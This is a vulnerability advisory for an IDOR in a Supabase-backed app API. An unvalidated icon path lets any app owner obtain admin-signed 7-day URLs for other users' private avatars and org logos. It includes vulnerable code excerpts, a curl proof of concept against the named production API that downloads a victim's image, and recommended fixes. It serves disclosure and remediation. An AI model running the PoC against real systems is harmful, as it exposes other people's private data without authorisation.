IDOR in PUT /app icon mints admin-signed URLs for arbitrary paths in the private images storage bucket
Description
The PUT /app/:appId endpoint accepts an attacker-controlled body.icon storage path, persists it, then asks Supabase's service-role client to mint a 7-day signed URL for that path. Because the service role bypasses Storage RLS, an authenticated user can obtain unauthenticated, time-limited download URLs for any object in the images bucket — including avatars, org logos and app icons belonging to other users and organizations — even though the bucket was made private precisely to prevent cross-tenant reads.
Details
The images bucket was switched to public = false in supabase/migrations/20260130033703_private_images_bucket.sql, with RLS policies that restrict each user/org to its own folder. Reads against the storage HTTP API therefore require either RLS-allowed access or a service-role-signed URL.
PUT /app/:appId (supabase/functions/_backend/public/app/put.ts) only checks the caller against the appId they are updating; it never constrains the icon field:
// supabase/functions/_backend/public/app/put.ts:34
if (!(await checkPermission(c, 'app.update_settings', { appId }))) {
throw quickError(401, 'cannot_access_app', 'You can\'t access this app', { app_id: appId })
}
...
// put.ts:55, 67
const normalizedIcon = normalizeImagePath(body.icon)
...
.update({
...
icon_url: normalizedIcon ?? body.icon,
...
})normalizeImagePath (supabase/functions/_backend/utils/storage.ts:7) is a string-shape helper, not a validator. For non-URL inputs it strips an optional leading images/ and leading slashes and returns the rest verbatim:
return trimmed.replace(/^images\//, '').replace(/^\/+/, '')After persistence, the handler immediately mints and returns a signed URL via the service-role client:
// put.ts:91-94
if (data.icon_url) {
const signedIcon = await createSignedImageUrl(c, data.icon_url)
data.icon_url = signedIcon ?? ''
}// supabase/functions/_backend/utils/storage.ts:29-49
export async function createSignedImageUrl(c: Context, rawPath?: string | null) {
...
const { data, error } = await supabaseAdmin(c)
.storage
.from('images')
.createSignedUrl(normalized, SIGNED_URL_TTL_SECONDS) // 7 days
...
return data.signedUrl
}supabaseAdmin is the service-role client; calls through it bypass storage.objects RLS. The result is that any path the attacker can name in the private images bucket is signable. Per the existing layout (see cron_clean_orphan_images.ts, on_user_delete.ts, on_organization_delete.ts, on_app_delete.ts):
<user_id>/<filename>— user avatars (referenced byusers.image_url)org/<org_id>/logo/<filename>— organization logosorg/<org_id>/<app_id>/icon— app icons (reverse-domainapp_idis often easy to guess)
Path knowledge is cheap: org IDs are exposed to any member, app IDs are reverse-domain strings often visible publicly, and user IDs are surfaced through normal team/org UIs. The endpoint is the only authorization gate, and it does not gate the path.
A secondary side-effect amplifies the issue: the on_app_update trigger calls cleanStoredImageMetadata(record.icon_url) (supabase/functions/_backend/triggers/on_app_update.ts:20), which downloads the object via service role and re-uploads it with EXIF/metadata stripped (supabase/functions/_backend/utils/image.ts:163-205). Pointing icon_url at a victim's avatar therefore also rewrites the victim's stored avatar with a metadata-stripped copy.
PoC
Pre-conditions: any account that owns at least one app (com.attacker.myapp). Target a known image path, e.g. an org logo org/<victim_org_id>/logo/logo.png (org IDs are visible to any member of that org and often leak via support / share flows; for this PoC use any path you legitimately know exists).
- Authenticate and call
PUT /app/com.attacker.myappwith the target path:
curl -sS -X PUT https://api.capgo.app/app/com.attacker.myapp \
-H 'Authorization: <attacker_jwt_or_apikey>' \
-H 'Content-Type: application/json' \
-d '{"icon":"<victim_user_uuid>/avatar.png"}'- The JSON response includes
icon_urlset to a Supabase Storage signed URL of the form:
https://<project>.supabase.co/storage/v1/object/sign/images/<victim_user_uuid>/avatar.png?token=<jwt>- Fetch the signed URL with no authentication:
curl -sS -o stolen.png "https://<project>.supabase.co/storage/v1/object/sign/images/<victim_user_uuid>/avatar.png?token=<jwt>"stolen.png is the victim's avatar bytes, served despite the bucket being private. The token is valid for 7 days (SIGNED_URL_TTL_SECONDS = 60 * 60 * 24 * 7 in storage.ts:4).
The same flow works for org/<other_org_id>/logo/<file> and org/<other_org_id>/<other_app_id>/icon, crossing organization boundaries entirely.
Impact
- Cross-tenant read of any object in the private
imagesbucket: user avatars (PII), organization logos, app icons. - The signed URL is valid for 7 days and requires no auth, enabling out-of-band exfiltration and sharing.
- Triggered side-effect:
on_app_updaterunscleanStoredImageMetadataagainst the attacker-supplied path, rewriting the victim's stored object with a metadata-stripped copy (low-grade integrity impact on victim-owned images). - Defeats the security goal of the
20260130033703_private_images_bucket.sqlmigration that made the bucket private and added per-user/per-org RLS.
The privilege bar is low — anyone who can create or already owns an app in any organization on the instance can exploit it.
Recommended Fix
Constrain body.icon to paths the caller is authorized to write, i.e. the icon path of the app being updated. Two layered fixes:
- In
supabase/functions/_backend/public/app/put.ts, before persisting/signing, reject any path that is not underorg/<owner_org>/<appId>/:
function isAllowedAppIconPath(path: string, ownerOrg: string, appId: string): boolean {
const prefix = `org/${ownerOrg}/${appId}/`
return path === `${prefix}icon` || path.startsWith(prefix)
}
const normalizedIcon = normalizeImagePath(body.icon)
if (normalizedIcon && !isAllowedAppIconPath(normalizedIcon, previousApp.owner_org, appId)) {
throw quickError(400, 'invalid_icon_path', 'icon must reference this app\'s storage folder')
}Apply the equivalent guard in supabase/functions/_backend/public/app/post.ts (which has the identical pattern) and any other endpoint that accepts a user-supplied storage path and signs it via supabaseAdmin.
- Harden
createSignedImageUrl(supabase/functions/_backend/utils/storage.ts) so it cannot be used as a generic signing oracle — accept an explicit{ kind: 'user'|'org-logo'|'app-icon', ownerId, appId? }descriptor and build the path inside the function, rather than accepting an arbitrary string. Callers should never be able to influence which path is signed except through validated identifiers. - Optional defense in depth: have the trigger / handler verify the storage object's owner (
storage.objects.owner/ metadata) matchespreviousApp.owner_orgbefore signing.
<!-- private-maintainer-note --> Private maintainer note: likely mitigated by merged PR github.com/